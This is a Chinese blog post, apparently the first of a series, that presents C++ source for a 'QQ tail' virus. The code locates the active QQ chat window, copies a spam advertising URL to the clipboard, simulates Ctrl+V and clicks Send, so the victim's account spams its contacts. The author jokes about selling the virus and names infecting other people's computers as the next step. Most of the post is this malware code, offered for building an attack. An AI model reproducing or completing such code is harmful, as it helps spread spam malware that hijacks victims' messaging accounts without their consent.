QQ2007尾巴病毒实现（一）

闲来无事，想研究一下QQ尾巴病毒，呵呵，有谁要，50块一个卖了，这下发达了（跟制作熊猫烧香的人学的） @@||

记得刚毕业的时候写过qq炸弹程序，原理跟qq尾巴病毒差不多，无非是查找到输入框和发送按牛的句柄；然后发送windows消息即可，只是qq2006开始屏蔽掉了richedit的settext past等等消息，所以之前采用的发送settext消息的方法已经不管用了，所以只好发送键盘事件了。

大致流程：查找输入框，粘贴文本，然后发送单击 发送按牛事件。

 

char strClassName[256];
    ::GetClassName(GetForegroundWindow(), strClassName, 255);
    CString clsname;
    clsname.Format(_T("%s"),strClassName); 

    //HWND hNMMainWnd = FindWindowEx(NULL, NULL,"#32770","与 永远的黑山 聊天中");
    //hNMMainWnd = FindWindowEx(hNMMainWnd, NULL,"RICHEDIT",NULL);
    //如果当前窗口为活动窗口时；
    if(clsname == "#32770")...{
        HWND hNMMainWnd = GetForegroundWindow();
        if(IsWindow(hNMMainWnd))  
        ...{
            //EnumChildWindows(hNMMainWnd,MyEnumChildProc,NULL); 
            //hNMMainWnd = FindWindowEx(hNMMainWnd, NULL, NULL,NULL);
            //printf("111111");
            //char strClassName[256];
            //::GetClassName(hNMMainWnd, strClassName, 255);
            //printf(strClassName);  
            
            //第一次查找粘贴文本；
            EnumChildWindows(hNMMainWnd,MyEnumChildProc1,NULL); 
            Sleep(100);
            //第二次查找发送出去；
            EnumChildWindows(hNMMainWnd,MyEnumChildProc2,NULL); 
        }
    }

 

 

BOOL CALLBACK My::MyEnumChildProc1(HWND   hwndChild,   LPARAM   lParam)
  ...{   
    
     
      //HWND iNMMainWnd=  FindWindowEx(hwndChild, NULL, NULL, NULL); 
      //if(IsWindow(iNMMainWnd))   
      //{
      //EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);   
      //} 
      TCHAR   szWndTitle[1024];  
      //int nLen = 0;
      int   nLen   =   GetWindowText(hwndChild,   szWndTitle,   1024);

      ::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);
      CString title;
      CString classname;
      title.Format(_T("%s"),szWndTitle); 
    
      if(title == "发送(&S)")...{
        //::SendMessage(hwndChild,BM_CLICK,0,0);
        //printf("--------->click");
      }
     
      char strClassName[256];
      ::GetClassName(hwndChild, strClassName, 255);
      printf(strClassName); 
      classname.Format(_T("%s"),strClassName);
      if(title == "" && classname == "RichEdit20A")...{
          printf("--------->set text");
          //::PostMessage(hwndChild,WM_CHAR,'中',0);
           //发送组合键；ctrl+v 
          setMSG(hwndChild);
          //设置焦点；
          SetFocus(hwndChild);

          keybd_event(VK_CONTROL,0,0,0);   
          keybd_event('V',0,0,0);   
          keybd_event('V',0,KEYEVENTF_KEYUP,0);   
          keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);  
          return FALSE;
      }
      printf(szWndTitle);   
      printf(" ");  
      //EnumChildWindows(hwndChild,MyEnumChildProc,NULL); 
      return   TRUE;   
}



BOOL CALLBACK My::MyEnumChildProc2(HWND   hwndChild,   LPARAM   lParam)
  ...{   
    
     
      //HWND iNMMainWnd=  FindWindowEx(hwndChild, NULL, NULL, NULL); 
      //if(IsWindow(iNMMainWnd))   
      //{
      //EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);   
      //} 
      TCHAR   szWndTitle[1024];  
      //int nLen = 0;
      int   nLen   =   GetWindowText(hwndChild,   szWndTitle,   1024);

      ::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);
      CString title;
      CString classname;
      title.Format(_T("%s"),szWndTitle); 
    
      if(title == "发送(&S)")...{
        ::SendMessage(hwndChild,BM_CLICK,0,0);
        printf("--------->click");
        return FALSE;
      }
     
      char strClassName[256];
      ::GetClassName(hwndChild, strClassName, 255);
      printf(strClassName); 
      classname.Format(_T("%s"),strClassName);
      if(title == "" && classname == "RichEdit20A")...{
        //printf("--------->set text");
          //::PostMessage(hwndChild,WM_CHAR,'中',0);
           //发送组合键；ctrl+v 
          //setMSG(hwndChild);
          //keybd_event(VK_CONTROL,0,0,0);   
          //keybd_event('V',0,0,0);   
          //keybd_event('V',0,KEYEVENTF_KEYUP,0);   
          //keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);  

      }
      //printf(szWndTitle);   
      //printf(" ");  
      //EnumChildWindows(hwndChild,MyEnumChildProc,NULL); 
      return   TRUE;   
}


void My::setMSG(HWND   hwnd)...{
    CString msg = "欢迎访问黑芝麻网 http://www.heizm.com";
    if(::OpenClipboard(hwnd))
    ...{
        HGLOBAL clipbuffer;
        char * buffer;
        EmptyClipboard();
        clipbuffer = GlobalAlloc(GMEM_DDESHARE, msg.GetLength()+1);
        buffer = (char*)GlobalLock(clipbuffer);
        ::strcpy(buffer, LPCSTR(msg));
        GlobalUnlock(clipbuffer);
        SetClipboardData(CF_TEXT,clipbuffer);
        CloseClipboard();
    }
}

 

到现在为止，已经解决了如何自动发送尾巴的程序。

那么接下去就是怎么去感染人家的电脑了，靠，太不人道了，回头继续研究。